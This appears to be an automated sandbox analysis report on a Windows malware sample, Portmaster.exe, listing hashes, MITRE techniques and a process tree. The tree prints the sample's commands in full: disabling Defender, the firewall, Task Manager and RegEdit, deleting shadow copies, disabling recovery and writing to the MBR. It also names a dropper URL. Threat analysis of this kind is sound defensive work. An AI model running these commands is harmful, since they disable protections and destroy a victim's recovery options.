0acec441bd5e924c678d740919a076238ea9674e0a40876fc99f7ba814a8c9fe

Analysis

max time kernel
75s
max time network
899s
platform
windows11-21h2_x64
resource
win11-20260513-uk
resource tags

arch:x64arch:x86image:win11-20260513-uklocale:uk-uaos:windows11-21h2-x64systemwindows
submitted
25/05/2026, 15:20

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
Portmaster.exe
Size 226KB
Sample260525-sq511act7l
SHA256 0acec441bd5e924c678d740919a076238ea9674e0a40876fc99f7ba814a8c9fe
MD5 dfa00a9673756016084c67c347d982d1
SHA1 e474417387df66a3635611b75b28443be117e6b6
SHA512 33f55aaf774c986c7bdae08841e80a3f0f26d6c41ee1e9d0ba120807fc20cc5f90295a00cdd8cc35b78622590bbd3529077cb40617e437f6fa7024638af070fb
SSDEEP 6144:zxnJ0x3dDeV15Kr3Qnka7To9z6i/4Ij8PLo:zErDm155Ezpj8PLo
TLSH
T190348D00B981C036D566583649B9DF765A2EBCB04F609ACBB3C40EFDCE346D09B39B56
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

bootkit defense_evasion discovery execution lateral_movement persistence privilege_escalation

Malware Config

Extracted

Language

Deobfuscated

Source

URLs

ps1.dropper
http://evil.xyz/steal.ps1

Signatures

Grants admin privileges 1 TTPs
Uses net.exe to modify the user's privileges.

Account Manipulation
T1098

Remote Service Session Hijacking: RDP Hijacking 1 TTPs 33 IoCs

Adversaries may hijack a legitimate user's remote desktop session to move laterally within an environment.

lateral_movement

RDP Hijacking

T1563.002

pid	Process
3352	net.exe
9632	net.exe
1880	cmd.exe
6724	cmd.exe
1564	net1.exe
5952	net1.exe
10172	net1.exe
8888	Process not Found
5676	Process not Found
3328	cmd.exe
5396	net1.exe
8764	net.exe
9416	cmd.exe
6656	net1.exe
3116	cmd.exe
8560	cmd.exe
7824	cmd.exe
9412	cmd.exe
5188	net.exe
4940	net1.exe
6376	net.exe
4820	net.exe
9036	net.exe
10492	Process not Found
1412	net1.exe
7480	net1.exe
10232	cmd.exe
1544	net.exe
9220	net1.exe
5500	net.exe
7912	cmd.exe
9196	net.exe
8176	net1.exe

Badlisted process makes network request 2 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
2	5568	powershell.exe
3	4504	powershell.exe

Disables RegEdit via registry modification 1 IoCs

defense_evasion

description	ioc	Process
Set value (int)	\REGISTRY\USER\S-1-5-21-1768642833-2142038154-4041560723-1000\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools = "1"	reg.exe

Disables Task Manager via registry modification
defense_evasion

Disables one or more Microsoft Defender components 1 TTPs 29 IoCs

Uses the Powershell Set-MpPreference cmdlet to disable one or more Microsoft Defender components.

defense_evasion

Disable or Modify Tools

T1562.001

pid	Process
7288	powershell.exe
2288	powershell.exe
5328	powershell.exe
5092	powershell.exe
5844	powershell.exe
6304	powershell.exe
7444	powershell.exe
13464	Process not Found
7664	powershell.exe
6640	powershell.exe
4000	powershell.exe
3888	powershell.exe
4528	powershell.exe
6824	powershell.exe
5364	powershell.exe
7196	powershell.exe
7212	powershell.exe
7076	powershell.exe
5152	powershell.exe
9888	Process not Found
1496	Process not Found
8696	powershell.exe
9404	powershell.exe
2052	powershell.exe
2564	powershell.exe
3368	powershell.exe
3156	powershell.exe
1144	powershell.exe
6572	powershell.exe

Modifies Windows Firewall 2 TTPs 36 IoCs

defense_evasion

Windows Service

T1543.003

Disable or Modify System Firewall

T1562.004

pid	Process
7280	netsh.exe
7836	netsh.exe
3948	netsh.exe
7820	netsh.exe
8520	netsh.exe
7008	netsh.exe
1856	netsh.exe
9168	netsh.exe
8660	netsh.exe
3048	netsh.exe
11352	netsh.exe
8560	netsh.exe
5708	netsh.exe
10112	netsh.exe
11288	netsh.exe
7684	netsh.exe
4000	netsh.exe
8812	netsh.exe
6968	netsh.exe
6696	netsh.exe
4536	netsh.exe
11132	netsh.exe
6620	netsh.exe
11180	netsh.exe
8300	netsh.exe
6156	netsh.exe
6932	netsh.exe
8604	netsh.exe
9528	netsh.exe
2320	netsh.exe
3740	netsh.exe
4364	netsh.exe
9360	netsh.exe
3424	netsh.exe
8828	netsh.exe
3940	netsh.exe

Disables service(s) 3 TTPs
defense_evasion execution

Windows Service
T1543.003

Service Stop
T1489

Service Execution
T1569.002

Drops startup file 19 IoCs

description	ioc	Process
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\winhost.exe	Portmaster.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\winhost.exe	Portmaster.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\winhost.exe	Portmaster.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\winhost.exe	Portmaster.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\winhost.exe	Portmaster.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\winhost.exe	Portmaster.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\winhost.exe	Portmaster.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\winhost.exe	Portmaster.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\winhost.exe	Portmaster.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\winhost.exe	Portmaster.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\winhost.exe	Portmaster.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\winhost.exe	Portmaster.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\winhost.exe	Portmaster.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\winhost.exe	Portmaster.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\winhost.exe	Portmaster.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\winhost.exe	Portmaster.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\winhost.exe	Portmaster.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\winhost.exe	Portmaster.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\winhost.exe	Portmaster.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 38 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2564	powershell.exe
4528	powershell.exe
9888	Process not Found
7664	powershell.exe
7196	powershell.exe
4504	powershell.exe
6824	powershell.exe
6572	powershell.exe
7288	powershell.exe
13392	powershell.exe
5364	powershell.exe
2052	powershell.exe
2288	powershell.exe
7444	powershell.exe
7076	powershell.exe
8696	powershell.exe
3804	powershell.exe
12192	powershell.exe
13664	Process not Found
1496	Process not Found
4000	powershell.exe
3888	powershell.exe
9404	powershell.exe
1144	powershell.exe
3156	powershell.exe
7212	powershell.exe
5092	powershell.exe
400	powershell.exe
5328	powershell.exe
5844	powershell.exe
6640	powershell.exe
5152	powershell.exe
6304	powershell.exe
6940	powershell.exe
14940	Process not Found
5568	powershell.exe
3368	powershell.exe
13464	Process not Found

Writes to the Master Boot Record (MBR) 1 TTPs 2 IoCs

Bootkits write to the MBR to gain persistence at a level below the operating system.

bootkit persistence

Bootkit

T1542.003

description	ioc	Process
File opened for modification	\??\PhysicalDrive0	Portmaster.exe
File opened for modification	\??\PhysicalDrive0	Portmaster.exe

Drops file in System32 directory 2 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\Recovery	ReAgentc.exe
File opened for modification	C:\Windows\SysWOW64\Recovery\ReAgent.xml	ReAgentc.exe

Drops file in Windows directory 9 IoCs

description	ioc	Process
File opened for modification	C:\Windows\Panther\UnattendGC\diagwrn.xml	ReAgentc.exe
File opened for modification	C:\Windows\Panther\UnattendGC\setuperr.log	ReAgentc.exe
File opened for modification	C:\Windows\Panther\UnattendGC\diagwrn.xml	ReAgentc.exe
File opened for modification	C:\Windows\SystemTemp	msedge.exe
File opened for modification	C:\Windows\Logs\ReAgent\ReAgent.log	ReAgentc.exe
File opened for modification	C:\Windows\Panther\UnattendGC\setuperr.log	ReAgentc.exe
File opened for modification	C:\Windows\Logs\ReAgent\ReAgent.log	ReAgentc.exe
File opened for modification	C:\Windows\Panther\UnattendGC\diagerr.xml	ReAgentc.exe
File opened for modification	C:\Windows\Panther\UnattendGC\diagerr.xml	ReAgentc.exe

Launches sc.exe 64 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
6824	sc.exe
5296	sc.exe
1332	sc.exe
11236	sc.exe
2484	sc.exe
7140	sc.exe
1032	sc.exe
8312	sc.exe
3980	sc.exe
9824	sc.exe
9820	sc.exe
6236	sc.exe
10976	sc.exe
13932	sc.exe
11144	Process not Found
5288	sc.exe
9088	sc.exe
8048	sc.exe
9696	sc.exe
10436	sc.exe
6352	sc.exe
8652	sc.exe
10832	sc.exe
3184	sc.exe
5224	sc.exe
8304	sc.exe
5208	sc.exe
5124	sc.exe
10216	sc.exe
11732	sc.exe
236	sc.exe
6548	sc.exe
4940	sc.exe
1304	sc.exe
10920	sc.exe
7832	sc.exe
7480	sc.exe
7664	sc.exe
9744	sc.exe
10168	sc.exe
11616	sc.exe
7620	sc.exe
5028	sc.exe
8576	sc.exe
6768	sc.exe
232	sc.exe
7716	sc.exe
8584	sc.exe
11932	sc.exe
9028	sc.exe
9568	sc.exe
10764	sc.exe
5296	sc.exe
8632	sc.exe
4056	sc.exe
7544	sc.exe
11624	sc.exe
11824	sc.exe
8568	sc.exe
3892	sc.exe
244	sc.exe
7688	sc.exe
2092	sc.exe
660	sc.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Netsh Helper DLL 1 TTPs 12 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

persistence privilege_escalation

Netsh Helper DLL

T1546.007

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe

Permission Groups Discovery: Local Groups 1 TTPs
Attempt to find local system groups and permission settings.
discovery

Local Groups
T1069.001

System Location Discovery: System Language Discovery 1 TTPs 64 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Portmaster.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Portmaster.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Portmaster.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Portmaster.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Portmaster.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ReAgentc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe

System Time Discovery 1 TTPs 1 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
5888	msedge.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe

Runs net.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 64 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
14576	Process not Found
14360	Process not Found
6968	schtasks.exe
4968	schtasks.exe
7748	schtasks.exe
13116	Process not Found
3876	schtasks.exe
3496	schtasks.exe
3200	schtasks.exe
6948	schtasks.exe
332	schtasks.exe
2800	schtasks.exe
11420	schtasks.exe
11008	Process not Found
1796	schtasks.exe
4856	schtasks.exe
1532	Process not Found
12524	Process not Found
4376	schtasks.exe
1720	Process not Found
5124	schtasks.exe
7740	schtasks.exe
3140	schtasks.exe
6616	schtasks.exe
7816	schtasks.exe
10472	schtasks.exe
11720	schtasks.exe
15168	Process not Found
5356	schtasks.exe
6008	schtasks.exe
10440	schtasks.exe
12280	schtasks.exe
11952	schtasks.exe
5108	schtasks.exe
8652	schtasks.exe
3908	Process not Found
12036	schtasks.exe
10996	schtasks.exe
7112	schtasks.exe
5452	schtasks.exe
4000	schtasks.exe
11692	schtasks.exe
10908	schtasks.exe
13248	Process not Found
3044	schtasks.exe
8532	schtasks.exe
8464	schtasks.exe
14160	schtasks.exe
14264	Process not Found
6448	Process not Found
11380	schtasks.exe
11892	schtasks.exe
13984	schtasks.exe
10004	Process not Found
11688	Process not Found
652	Process not Found
12344	Process not Found
2364	schtasks.exe
764	schtasks.exe
5952	schtasks.exe
4600	schtasks.exe
2020	schtasks.exe
8508	schtasks.exe
12064	schtasks.exe

Suspicious behavior: EnumeratesProcesses 38 IoCs

pid	Process
5328	powershell.exe
5328	powershell.exe
5844	powershell.exe
5844	powershell.exe
5020	Portmaster.exe
5020	Portmaster.exe
2592	Portmaster.exe
2592	Portmaster.exe
5568	powershell.exe
5568	powershell.exe
4504	powershell.exe
4504	powershell.exe
5568	powershell.exe
4504	powershell.exe
6640	powershell.exe
6640	powershell.exe
6824	powershell.exe
6824	powershell.exe
5364	powershell.exe
5364	powershell.exe
1144	powershell.exe
1144	powershell.exe
2564	powershell.exe
2564	powershell.exe
2052	powershell.exe
2052	powershell.exe
4000	powershell.exe
4000	powershell.exe
3888	powershell.exe
3888	powershell.exe
6640	powershell.exe
6640	powershell.exe
6572	powershell.exe
6572	powershell.exe
6824	powershell.exe
6824	powershell.exe
5152	powershell.exe
5152	powershell.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 4 IoCs

pid	Process
992	msedge.exe
992	msedge.exe
992	msedge.exe
992	msedge.exe

Suspicious use of AdjustPrivilegeToken 14 IoCs

description	pid	Process
Token: SeDebugPrivilege	5328	powershell.exe
Token: SeDebugPrivilege	5844	powershell.exe
Token: SeDebugPrivilege	5568	powershell.exe
Token: SeDebugPrivilege	4504	powershell.exe
Token: SeDebugPrivilege	6640	powershell.exe
Token: SeDebugPrivilege	6824	powershell.exe
Token: SeDebugPrivilege	5364	powershell.exe
Token: SeDebugPrivilege	1144	powershell.exe
Token: SeDebugPrivilege	2564	powershell.exe
Token: SeDebugPrivilege	2052	powershell.exe
Token: SeDebugPrivilege	4000	powershell.exe
Token: SeDebugPrivilege	3888	powershell.exe
Token: SeDebugPrivilege	6572	powershell.exe
Token: SeDebugPrivilege	5152	powershell.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
992	msedge.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 5020 wrote to memory of 4108	5020	Portmaster.exe	79
PID 4108 wrote to memory of 5356	4108	cmd.exe	81
PID 5020 wrote to memory of 1172	5020	Portmaster.exe	82
PID 1172 wrote to memory of 1080	1172	cmd.exe	84
PID 5020 wrote to memory of 2440	5020	Portmaster.exe	85
PID 2440 wrote to memory of 1076	2440	cmd.exe	87
PID 5020 wrote to memory of 5644	5020	Portmaster.exe	88
PID 5644 wrote to memory of 5328	5644	cmd.exe	90
PID 2592 wrote to memory of 4624	2592	Portmaster.exe	93
PID 4624 wrote to memory of 764	4624	cmd.exe	95
PID 2592 wrote to memory of 3636	2592	Portmaster.exe	96
PID 3636 wrote to memory of 448	3636	cmd.exe	98
PID 2592 wrote to memory of 1792	2592	Portmaster.exe	99
PID 1792 wrote to memory of 3132	1792	cmd.exe	101
PID 2592 wrote to memory of 1516	2592	Portmaster.exe	102
PID 1516 wrote to memory of 5844	1516	cmd.exe	104
PID 5020 wrote to memory of 1760	5020	Portmaster.exe	105
PID 2592 wrote to memory of 3176	2592	Portmaster.exe	106
PID 1760 wrote to memory of 1856	1760	cmd.exe	1138
PID 3176 wrote to memory of 3948	3176	cmd.exe	294
PID 2592 wrote to memory of 588	2592	Portmaster.exe	111
PID 5020 wrote to memory of 3312	5020	Portmaster.exe	218
PID 2592 wrote to memory of 4020	2592	Portmaster.exe	282
PID 5020 wrote to memory of 3656	5020	Portmaster.exe	1216
PID 2592 wrote to memory of 328	2592	Portmaster.exe	119
PID 5020 wrote to memory of 1136	5020	Portmaster.exe	121
PID 2592 wrote to memory of 5880	2592	Portmaster.exe	123
PID 5020 wrote to memory of 4980	5020	Portmaster.exe	125
PID 5880 wrote to memory of 5800	5880	cmd.exe	127
PID 4980 wrote to memory of 492	4980	cmd.exe	128
PID 5020 wrote to memory of 5460	5020	Portmaster.exe	129
PID 2592 wrote to memory of 2376	2592	Portmaster.exe	131
PID 5460 wrote to memory of 3184	5460	cmd.exe	133
PID 5020 wrote to memory of 4116	5020	Portmaster.exe	134
PID 2376 wrote to memory of 2092	2376	cmd.exe	136
PID 2592 wrote to memory of 1240	2592	Portmaster.exe	137
PID 4116 wrote to memory of 5288	4116	cmd.exe	139
PID 5020 wrote to memory of 5372	5020	Portmaster.exe	140
PID 1240 wrote to memory of 660	1240	cmd.exe	141
PID 2592 wrote to memory of 1904	2592	Portmaster.exe	143
PID 5372 wrote to memory of 3892	5372	cmd.exe	275
PID 1904 wrote to memory of 5224	1904	cmd.exe	146
PID 5020 wrote to memory of 696	5020	Portmaster.exe	147
PID 2592 wrote to memory of 2012	2592	Portmaster.exe	149
PID 696 wrote to memory of 232	696	cmd.exe	238
PID 2012 wrote to memory of 244	2012	cmd.exe	328
PID 5020 wrote to memory of 5432	5020	Portmaster.exe	153
PID 2592 wrote to memory of 1452	2592	Portmaster.exe	155
PID 5432 wrote to memory of 988	5432	cmd.exe	157
PID 988 wrote to memory of 3324	988	net.exe	158
PID 1452 wrote to memory of 3444	1452	cmd.exe	159
PID 3444 wrote to memory of 5104	3444	net.exe	339
PID 2592 wrote to memory of 1028	2592	Portmaster.exe	161
PID 5020 wrote to memory of 4736	5020	Portmaster.exe	162
PID 4736 wrote to memory of 3296	4736	cmd.exe	165
PID 1028 wrote to memory of 804	1028	cmd.exe	166
PID 3296 wrote to memory of 2852	3296	net.exe	250
PID 804 wrote to memory of 3652	804	net.exe	168
PID 5020 wrote to memory of 3328	5020	Portmaster.exe	169
PID 2592 wrote to memory of 1880	2592	Portmaster.exe	170
PID 1880 wrote to memory of 3352	1880	cmd.exe	173
PID 3352 wrote to memory of 1412	3352	net.exe	256
PID 3328 wrote to memory of 5500	3328	cmd.exe	175
PID 5500 wrote to memory of 5396	5500	net.exe	176

C:\Users\Admin\AppData\Local\Temp\Portmaster.exe
"C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"
1⤵
- Drops startup file
- Writes to the Master Boot Record (MBR)
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:5020
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c schtasks /create /tn "SysUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe" /sc onlogon /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4108
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "SysUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe" /sc onlogon /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:5356
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1172
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:1080
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableRegistryTools /t REG_DWORD /d 1 /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2440
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableRegistryTools /t REG_DWORD /d 1 /f
    3⤵
    - Disables RegEdit via registry modification
    - System Location Discovery: System Language Discovery
    PID:1076
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c powershell Set-MpPreference -DisableRealtimeMonitoring $true
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5644
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    powershell Set-MpPreference -DisableRealtimeMonitoring $true
    3⤵
    - Disables one or more Microsoft Defender components
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:5328
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c netsh advfirewall set allprofiles state off
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1760
- - C:\Windows\SysWOW64\netsh.exe
    netsh advfirewall set allprofiles state off
    3⤵
    - Modifies Windows Firewall
    - Event Triggered Execution: Netsh Helper DLL
    PID:1856
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c vssadmin delete shadows /all /quiet
  2⤵
  PID:3312
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c bcdedit /set {default} recoveryenabled No
  2⤵
  PID:3656
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c bcdedit /set {default} bootstatuspolicy ignoreallfailures
  2⤵
  PID:1136
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c reagentc /disable
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4980
- - C:\Windows\SysWOW64\ReAgentc.exe
    reagentc /disable
    3⤵
    - Drops file in Windows directory
